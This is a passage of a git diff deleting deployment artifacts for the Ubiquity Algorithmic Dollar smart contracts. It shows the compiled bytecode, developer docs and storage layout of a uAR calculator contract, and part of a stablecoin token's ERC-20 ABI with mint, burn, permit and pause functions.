1c5b6640000000000000831615611c495770010000000000000000002c5c85fdf473dd0260801c5b6620000000000000831615611c6f577001000000000000000000162e42fefa39ee0260801c5b6610000000000000831615611c955770010000000000000000000b17217f7d1cf60260801c5b6608000000000000831615611cbb577001000000000000000000058b90bfbe8e7a0260801c5b6604000000000000831615611ce157700100000000000000000002c5c85fdf473c0260801c5b6602000000000000831615611d075770010000000000000000000162e42fefa39d0260801c5b6601000000000000831615611d2d57700100000000000000000000b17217f7d1ce0260801c5b65800000000000831615611d525770010000000000000000000058b90bfbe8e60260801c5b65400000000000831615611d77577001000000000000000000002c5c85fdf4720260801c5b65200000000000831615611d9c57700100000000000000000000162e42fefa380260801c5b65100000000000831615611dc1577001000000000000000000000b17217f7d1b0260801c5b65080000000000831615611de657700100000000000000000000058b90bfbe8d0260801c5b65040000000000831615611e0b5770010000000000000000000002c5c85fdf460260801c5b65020000000000831615611e30577001000000000000000000000162e42fefa20260801c5b65010000000000831615611e555770010000000000000000000000b17217f7d00260801c5b648000000000831615611e79577001000000000000000000000058b90bfbe70260801c5b644000000000831615611e9d57700100000000000000000000002c5c85fdf30260801c5b642000000000831615611ec15770010000000000000000000000162e42fef90260801c5b641000000000831615611ee557700100000000000000000000000b17217f7c0260801c5b640800000000831615611f095770010000000000000000000000058b90bfbd0260801c5b640400000000831615611f2d577001000000000000000000000002c5c85fde0260801c5b640200000000831615611f5157700100000000000000000000000162e42fee0260801c5b640100000000831615611f75577001000000000000000000000000b17217f60260801c5b6380000000831615611f9857700100000000000000000000000058b90bfa0260801c5b6340000000831615611fbb5770010000000000000000000000002c5c85fc0260801c5b6320000000831615611fde577001000000000000000000000000162e42fd0260801c5b63100000008316156120015770010000000000000000000000000b17217e0260801c5b6308000000831615612024577001000000000000000000000000058b90be0260801c5b630400000083161561204757700100000000000000000000000002c5c85e0260801c5b630200000083161561206a5770010000000000000000000000000162e42e0260801c5b630100000083161561208d57700100000000000000000000000000b172160260801c5b628000008316156120af5770010000000000000000000000000058b90a0260801c5b624000008316156120d1577001000000000000000000000000002c5c840260801c5b622000008316156120f357700100000000000000000000000000162e410260801c5b62100000831615612115577001000000000000000000000000000b17200260801c5b6208000083161561213757700100000000000000000000000000058b8f0260801c5b620400008316156121595770010000000000000000000000000002c5c70260801c5b6202000083161561217b577001000000000000000000000000000162e30260801c5b6201000083161561219d5770010000000000000000000000000000b1710260801c5b6180008316156121be577001000000000000000000000000000058b80260801c5b6140008316156121df57700100000000000000000000000000002c5b0260801c5b6120008316156122005770010000000000000000000000000000162d0260801c5b61100083161561222157700100000000000000000000000000000b160260801c5b6108008316156122425770010000000000000000000000000000058a0260801c5b610400831615612263577001000000000000000000000000000002c40260801c5b610200831615612284577001000000000000000000000000000001610260801c5b6101008316156122a5577001000000000000000000000000000000b00260801c5b60808316156122c5577001000000000000000000000000000000570260801c5b60408316156122e55770010000000000000000000000000000002b0260801c5b6020831615612305577001000000000000000000000000000000150260801c5b60108316156123255770010000000000000000000000000000000a0260801c5b6008831615612345577001000000000000000000000000000000040260801c5b6004831615612365577001000000000000000000000000000000010260801c5b8461238657600f81901c6001600160701b03169050613fff820191506123b5565b613ffe82116123ab57600f81901c6001600160701b0316905081613fff0391506123b5565b600091613fee19011c5b60709190911b1760801b935061058d92505050565b6000602082840312156123db578081fd5b81516001600160a01b0381168114610c13578182fd5b600060208284031215612402578081fd5b81518015158114610c13578182fd5b600060208284031215612422578081fd5b5051919050565b60006020828403121561243a578081fd5b5035919050565b60008060408385031215612453578081fd5b5050803592602090910135915056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80633667d85914610051578063481c6a7514610077578063ac506806146100a2578063f13a38a6146100b7575b600080fd5b61006461005f366004612441565b6100bf565b6040519081526020015b60405180910390f35b60005461008a906001600160a01b031681565b6040516001600160a01b03909116815260200161006e565b6100b56100b0366004612429565b6103c9565b005b600154610064565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561010e57600080fd5b505afa158015610122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014691906123ca565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017e57600080fd5b505afa158015610192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b69190612411565b60008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561020257600080fd5b505afa158015610216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061023a91906123ca565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561027257600080fd5b505afa158015610286573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102aa9190612411565b106102fc5760405162461bcd60e51b815260206004820152601c60248201527f75415220746f20446f6c6c61723a20444542545f544f4f5f484947480000000060448201526064015b60405180910390fd5b600061032d610312670de0b6b3a764000061052c565b61031d60015461052c565b6001600160801b03191690610592565b9050600061033a4361052c565b9050600061034b8261031d8761052c565b905060006103886103796103686001600160801b031985166108ba565b6001600160801b03198716906108ea565b6001600160801b031916610b61565b905060006103bb6103ac8361039c8b61052c565b6001600160801b031916906108ea565b6001600160801b031916610b95565b955050505050505b92915050565b60005460408051632bfb511560e11b815290516001600160a01b03909216916391d148549183916357f6a22a91600480820192602092909190829003018186803b15801561041657600080fd5b505afa15801561042a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044e9190612411565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b168152600481019190915233602482015260440160206040518083038186803b1580156104a357600080fd5b505afa1580156104b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104db91906123f1565b6105275760405162461bcd60e51b815260206004820152601260248201527f55415243616c633a206e6f742061646d696e000000000000000000000000000060448201526064016102f3565b600155565b60008161053b5750600061058d565b81600061054782610c1a565b90506070811015610560578060700382901b9150610573565b6070811115610573576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156105d85780617fff14156105c7575061ffff60ef1b91506103c39050565b505050600160ff1b811682186103c3565b80617fff1415610629577dffffffffffffffffffffffffffff00000000000000000000000000000000841615610618575061ffff60ef1b91506103c39050565b505050808218600160ff1b166103c3565b6f7fffffffffffffffffffffffffffffff60801b8416610685576f7fffffffffffffffffffffffffffffff60801b851661066d575061ffff60ef1b91506103c39050565b505050808218600160ff1b16617fff60f01b176103c3565b6001600160701b03608085901c16816106a157600191506106a8565b600160701b175b6001600160701b03608087901c16836106e75780156106e25760006106cc82610c1a565b6001955060e20393840160711901939190911b90505b6106f1565b600160701b1760721b5b81818161070e57634e487b7160e01b600052601260045260246000fd5b0490508061073b57600160ff1b8787181661072a576000610730565b600160ff1b5b9450505050506103c3565b6d100000000000000000000000000081101561076757634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156107c8576e0400000000000000000000000000008210156107bd576e0200000000000000000000000000008210156107b55760706107b8565b60715b6107c0565b60725b60ff166107d1565b6107d182610c1a565b9050836140710181860111156107ef57617fff945060009150610882565b83818601613ffc01101561080a576000945060009150610882565b83818601613f8c011015610857578385613ffc011115610835578385613ffc010382901b915061084e565b8385613ffc01101561084e57613ffc8585030382901c91505b60009450610882565b607081111561086a576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506103c3565b60006103c36108c883610cca565b7f3ffe62e42fefa39ef35793c7673007e5000000000000000000000000000000005b6000617fff60f084811c8216919084901c8116908214156109925780617fff1415610968576001600160801b0319858116908516141561093557505050600160ff1b811682186103c3565b600160ff1b6001600160801b0319868618161415610958575050508181176103c3565b5061ffff60ef1b91506103c39050565b6f7fffffffffffffffffffffffffffffff60801b84166105c7575061ffff60ef1b91506103c39050565b80617fff14156109d7576f7fffffffffffffffffffffffffffffff60801b85166109c6575061ffff60ef1b91506103c39050565b505050600160ff1b821681186103c3565b6001600160701b03608086901c16826109f357600192506109fa565b600160701b175b6001600160701b03608086901c1682610a165760019250610a1d565b600160701b175b9081029081610a3a57600160ff1b8787181661072a576000610730565b928201926000600160e11b831015610a6e57600160e01b831015610a6657610a6183610c1a565b610a69565b60e05b610a71565b60e15b90506140708186011015610a8c576000945060009250610b29565b6140e08186011015610acf57614070851015610ab157846140700383901c9250610ac6565b614070851115610ac657614070850383901b92505b60009450610b29565b61c0dd8186011115610ae957617fff945060009250610b29565b6070811115610b00576070810383901c9250610b13565b6070811015610b13578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506103c3565b60006103c3610b90837f3fff71547652b82fe1777d0ffda0d23a000000000000000000000000000000006108ea565b610ea0565b6000617fff60f083901c16613fff811015610bb457600091505061058d565b6001607f1b608084901c10610bc857600080fd5b6140fe811115610bd757600080fd5b600160701b6001600160701b03608085901c161761406f821015610c015761406f8290031c610c13565b61406f821115610c135761406e1982011b5b9392505050565b6000808211610c2857600080fd5b60007001000000000000000000000000000000008310610c4a57608092831c92015b680100000000000000008310610c6257604092831c92015b6401000000008310610c7657602092831c92015b620100008310610c8857601092831c92015b6101008310610c9957600892831c92015b60108310610ca957600492831c92015b60048310610cb957600292831c92015b600283106103c35760010192915050565b60006001607f1b608083901c1115610ce8575061ffff60ef1b61058d565b613fff60f01b6001600160801b031983161415610d075750600061058d565b617fff60f083901c811690811415610d22578291505061058d565b6001600160701b03608084901c1681610d3e5760019150610d45565b600160701b175b80610d7557507fffff000000000000000000000000000000000000000000000000000000000000915061058d9050565b600061406f81613fff8510610d9b5750600f9290921b9160009150613ffe198401610dda565b60019250600160701b8410610dbd5784613ffe039050600f84901b9350610dda565b6000610dc885610c1a565b607f8190039590951b9461406d039150505b836001607f1b1415610e0e578215610df0576001015b6000610dfb82610c1a565b60700392839003929190911b9050610e5c565b600083610e1c576000610e1f565b60015b60ff1690505b600160701b821015610e5a5793800260ff81901c607f81019190911c94600019939093019260019290921b9082180190610e25565b505b806001600160701b0316607083901b84610e77576000610e7d565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9550505050505061058d565b60006001607f1b608083901c90811190617fff60f085901c8116916001600160701b03169082148015610ed257508015155b15610ee8575061ffff60ef1b925061058d915050565b61400d821115610f0f5782610f0257617fff60f01b610f05565b60005b935050505061058d565b613f7f821015610f2a5750613fff60f01b925061058d915050565b81610f385760019150610f3f565b600160701b175b613fef821115610f5557613fee1982011b610f67565b613fef821015610f6757613fef8290031c5b828015610f85575071406e0000000000000000000000000000000081115b15610f9757506000925061058d915050565b82158015610fb65750713fffffffffffffffffffffffffffffffffff81115b15610fcc5750617fff60f01b925061058d915050565b6fffffffffffffffffffffffffffffffff81169060801c838015610fef57508115155b15610ffb579019906001015b6001607f1b8281161561101f5770016a09e667f3bcc908b2fb1366ea957d3e0260801c5b6f4000000000000000000000000000000083161561104e577001306fe0a31b7152de8d5a46305c85edec0260801c5b6f2000000000000000000000000000000083161561107d577001172b83c7d517adcdf7c8c50eb14a791f0260801c5b6f100000000000000000000000000000008316156110ac5770010b5586cf9890f6298b92b71842a983630260801c5b6f080000000000000000000000000000008316156110db577001059b0d31585743ae7c548eb68ca417fd0260801c5b6f0400000000000000000000000000000083161561110a57700102c9a3e778060ee6f7caca4f7a29bde80260801c5b6f020000000000000000000000000000008316156111395770010163da9fb33356d84a66ae336dcdfa3f0260801c5b6f0100000000000000000000000000000083161561116857700100b1afa5abcbed6129ab13ec11dc95430260801c5b6e8000000000000000000000000000008316156111965770010058c86da1c09ea1ff19d294cf2f679b0260801c5b6e4000000000000000000000000000008316156111c4577001002c605e2e8cec506d21bfc89a23a00f0260801c5b6e2000000000000000000000000000008316156111f257700100162f3904051fa128bca9c55c31e5df0260801c5b6e100000000000000000000000000000831615611220577001000b175effdc76ba38e31671ca9397250260801c5b6e08000000000000000000000000000083161561124e57700100058ba01fb9f96d6cacd4b180917c3d0260801c5b6e04000000000000000000000000000083161561127c5770010002c5cc37da9491d0985c348c68e7b30260801c5b6e0200000000000000000000000000008316156112aa577001000162e525ee054754457d59952920260260801c5b600160701b8316156112cd5770010000b17255775c040618bf4a4ade83fc0260801c5b6d80000000000000000000000000008316156112fa577001000058b91b5bc9ae2eed81e9b7d4cfab0260801c5b6d400000000000000000000000000083161561132757700100002c5c89d5ec6ca4d7c8acc017b7c90260801c5b6d20000000000000000000000000008316156113545770010000162e43f4f831060e02d839a9d16d0260801c5b6d100000000000000000000000000083161561138157700100000b1721bcfc99d9f890ea069117630260801c5b6d08000000000000000000000000008316156113ae5770010000058b90cf1e6d97f9ca14dbcc16280260801c5b6d04000000000000000000000000008316156113db577001000002c5c863b73f016468f6bac5ca2b0260801c5b6d020000000000000000000000000083161561140857700100000162e430e5a18f6119e3c02282a50260801c5b6d0100000000000000000000000000831615611435577001000000b1721835514b86e6d96efd1bfe0260801c5b6c8000000000000000000000000083161561146157700100000058b90c0b48c6be5df846c5b2ef0260801c5b6c4000000000000000000000000083161561148d5770010000002c5c8601cc6b9e94213c72737a0260801c5b6c200000000000000000000000008316156114b9577001000000162e42fff037df38aa2b219f060260801c5b6c100000000000000000000000008316156114e55770010000000b17217fba9c739aa5819f44f90260801c5b6c08000000000000000000000000831615611511577001000000058b90bfcdee5acd3c1cedc8230260801c5b6c0400000000000000000000000083161561153d57700100000002c5c85fe31f35a6a30da1be500260801c5b6c020000000000000000000000008316156115695770010000000162e42ff0999ce3541b9fffcf0260801c5b6c0100000000000000000000000083161561159557700100000000b17217f80f4ef5aadda455540260801c5b6b8000000000000000000000008316156115c05770010000000058b90bfbf8479bd5a81b51ad0260801c5b6b4000000000000000000000008316156115eb577001000000002c5c85fdf84bd62ae30a74cc0260801c5b6b20000000000000000000000083161561161657700100000000162e42fefb2fed257559bdaa0260801c5b6b100000000000000000000000831615611641577001000000000b17217f7d5a7716bba4a9ae0260801c5b6b08000000000000000000000083161561166c57700100000000058b90bfbe9ddbac5e109cce0260801c5b6b0400000000000000000000008316156116975770010000000002c5c85fdf4b15de6f17eb0d0260801c5b6b0200000000000000000000008316156116c2577001000000000162e42fefa494f1478fde050260801c5b6b0100000000000000000000008316156116ed5770010000000000b17217f7d20cf927c8e94c0260801c5b6a8000000000000000000000831615611717577001000000000058b90bfbe8f71cb4e4b33d0260801c5b6a400000000000000000000083161561174157700100000000002c5c85fdf477b662b269450260801c5b6a200000000000000000000083161561176b5770010000000000162e42fefa3ae53369388c0260801c5b6a100000000000000000000083161561179557700100000000000b17217f7d1d351a389d400260801c5b6a08000000000000000000008316156117bf5770010000000000058b90bfbe8e8b2d3d4ede0260801c5b6a04000000000000000000008316156117e9577001000000000002c5c85fdf4741bea6e77e0260801c5b6a020000000000000000000083161561181357700100000000000162e42fefa39fe95583c20260801c5b6a010000000000000000000083161561183d577001000000000000b17217f7d1cfb72b45e10260801c5b698000000000000000000083161561186657700100000000000058b90bfbe8e7cc35c3f00260801c5b694000000000000000000083161561188f5770010000000000002c5c85fdf473e242ea380260801c5b69200000000000000000008316156118b8577001000000000000162e42fefa39f02b772c0260801c5b69100000000000000000008316156118e15770010000000000000b17217f7d1cf7d83c1a0260801c5b690800000000000000000083161561190a577001000000000000058b90bfbe8e7bdcbe2e0260801c5b690400000000000000000083161561193357700100000000000002c5c85fdf473dea871f0260801c5b690200000000000000000083161561195c5770010000000000000162e42fefa39ef44d910260801c5b690100000000000000000083161561198557700100000000000000b17217f7d1cf79e9490260801c5b688000000000000000008316156119ad5770010000000000000058b90bfbe8e7bce5440260801c5b684000000000000000008316156119d5577001000000000000002c5c85fdf473de6eca0260801c5b682000000000000000008316156119fd57700100000000000000162e42fefa39ef366f0260801c5b68100000000000000000831615611a25577001000000000000000b17217f7d1cf79afa0260801c5b68080000000000000000831615611a4d57700100000000000000058b90bfbe8e7bcd6d0260801c5b68040000000000000000831615611a755770010000000000000002c5c85fdf473de6b20260801c5b68020000000000000000831615611a9d577001000000000000000162e42fefa39ef3580260801c5b68010000000000000000831615611ac55770010000000000000000b17217f7d1cf79ab0260801c5b678000000000000000831615611aec577001000000000000000058b90bfbe8e7bcd50260801c5b674000000000000000831615611b1357700100000000000000002c5c85fdf473de6a0260801c5b672000000000000000831615611b3a5770010000000000000000162e42fefa39ef340260801c5b671000000000000000831615611b6157700100000000000000000b17217f7d1cf7990260801c5b670800000000000000831615611b885770010000000000000000058b90bfbe8e7bcc0260801c5b670400000000000000831615611baf577001000000000000000002c5c85fdf473de50260801c5b670200000000000000831615611bd657700100000000000000000162e42fefa39ef20260801c5b670100000000000000831615611bfd577001000000000000000000b17217f7d1cf780260801c5b6680000000000000831615611c2357700100000000000000000058b90bfbe8e7bb0260801c5b6640000000000000831615611c495770010000000000000000002c5c85fdf473dd0260801c5b6620000000000000831615611c6f577001000000000000000000162e42fefa39ee0260801c5b6610000000000000831615611c955770010000000000000000000b17217f7d1cf60260801c5b6608000000000000831615611cbb577001000000000000000000058b90bfbe8e7a0260801c5b6604000000000000831615611ce157700100000000000000000002c5c85fdf473c0260801c5b6602000000000000831615611d075770010000000000000000000162e42fefa39d0260801c5b6601000000000000831615611d2d57700100000000000000000000b17217f7d1ce0260801c5b65800000000000831615611d525770010000000000000000000058b90bfbe8e60260801c5b65400000000000831615611d77577001000000000000000000002c5c85fdf4720260801c5b65200000000000831615611d9c57700100000000000000000000162e42fefa380260801c5b65100000000000831615611dc1577001000000000000000000000b17217f7d1b0260801c5b65080000000000831615611de657700100000000000000000000058b90bfbe8d0260801c5b65040000000000831615611e0b5770010000000000000000000002c5c85fdf460260801c5b65020000000000831615611e30577001000000000000000000000162e42fefa20260801c5b65010000000000831615611e555770010000000000000000000000b17217f7d00260801c5b648000000000831615611e79577001000000000000000000000058b90bfbe70260801c5b644000000000831615611e9d57700100000000000000000000002c5c85fdf30260801c5b642000000000831615611ec15770010000000000000000000000162e42fef90260801c5b641000000000831615611ee557700100000000000000000000000b17217f7c0260801c5b640800000000831615611f095770010000000000000000000000058b90bfbd0260801c5b640400000000831615611f2d577001000000000000000000000002c5c85fde0260801c5b640200000000831615611f5157700100000000000000000000000162e42fee0260801c5b640100000000831615611f75577001000000000000000000000000b17217f60260801c5b6380000000831615611f9857700100000000000000000000000058b90bfa0260801c5b6340000000831615611fbb5770010000000000000000000000002c5c85fc0260801c5b6320000000831615611fde577001000000000000000000000000162e42fd0260801c5b63100000008316156120015770010000000000000000000000000b17217e0260801c5b6308000000831615612024577001000000000000000000000000058b90be0260801c5b630400000083161561204757700100000000000000000000000002c5c85e0260801c5b630200000083161561206a5770010000000000000000000000000162e42e0260801c5b630100000083161561208d57700100000000000000000000000000b172160260801c5b628000008316156120af5770010000000000000000000000000058b90a0260801c5b624000008316156120d1577001000000000000000000000000002c5c840260801c5b622000008316156120f357700100000000000000000000000000162e410260801c5b62100000831615612115577001000000000000000000000000000b17200260801c5b6208000083161561213757700100000000000000000000000000058b8f0260801c5b620400008316156121595770010000000000000000000000000002c5c70260801c5b6202000083161561217b577001000000000000000000000000000162e30260801c5b6201000083161561219d5770010000000000000000000000000000b1710260801c5b6180008316156121be577001000000000000000000000000000058b80260801c5b6140008316156121df57700100000000000000000000000000002c5b0260801c5b6120008316156122005770010000000000000000000000000000162d0260801c5b61100083161561222157700100000000000000000000000000000b160260801c5b6108008316156122425770010000000000000000000000000000058a0260801c5b610400831615612263577001000000000000000000000000000002c40260801c5b610200831615612284577001000000000000000000000000000001610260801c5b6101008316156122a5577001000000000000000000000000000000b00260801c5b60808316156122c5577001000000000000000000000000000000570260801c5b60408316156122e55770010000000000000000000000000000002b0260801c5b6020831615612305577001000000000000000000000000000000150260801c5b60108316156123255770010000000000000000000000000000000a0260801c5b6008831615612345577001000000000000000000000000000000040260801c5b6004831615612365577001000000000000000000000000000000010260801c5b8461238657600f81901c6001600160701b03169050613fff820191506123b5565b613ffe82116123ab57600f81901c6001600160701b0316905081613fff0391506123b5565b600091613fee19011c5b60709190911b1760801b935061058d92505050565b6000602082840312156123db578081fd5b81516001600160a01b0381168114610c13578182fd5b600060208284031215612402578081fd5b81518015158114610c13578182fd5b600060208284031215612422578081fd5b5051919050565b60006020828403121561243a578081fd5b5035919050565b60008060408385031215612453578081fd5b5050803592602090910135915056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "constructor": { - "params": { - "_manager": "the address of the manager/config contract so we can fetch variables" - } - }, - "setConstant(uint256)": { - "details": "a coef of 1 ether means 1", - "params": { - "coef": "new constant for uAR calculation in ETH format" - } - } - }, - "title": "Uses the following formula: ((1/(1-R)^2) - 1)", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "getConstant()": { - "notice": "get the constant for uAR calculation" - }, - "setConstant(uint256)": { - "notice": "set the constant for uAR calculation" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 9402, - "contract": "contracts/UARForDollarsCalculator.sol:UARForDollarsCalculator", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 9405, - "contract": "contracts/UARForDollarsCalculator.sol:UARForDollarsCalculator", - "label": "_coef", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "types": { - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollar.json b/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollar.json deleted file mode 100644 index 0f4967802..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollar.json +++ /dev/null @@ -1,893 +0,0 @@ -{ - "address": "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_incentivized", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_incentiveContract", - "type": "address" - } - ], - "name": "IncentiveContractUpdate", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "incentiveContract", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "address", - "name": "incentive", - "type": "address" - } - ], - "name": "setIncentiveContract", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": 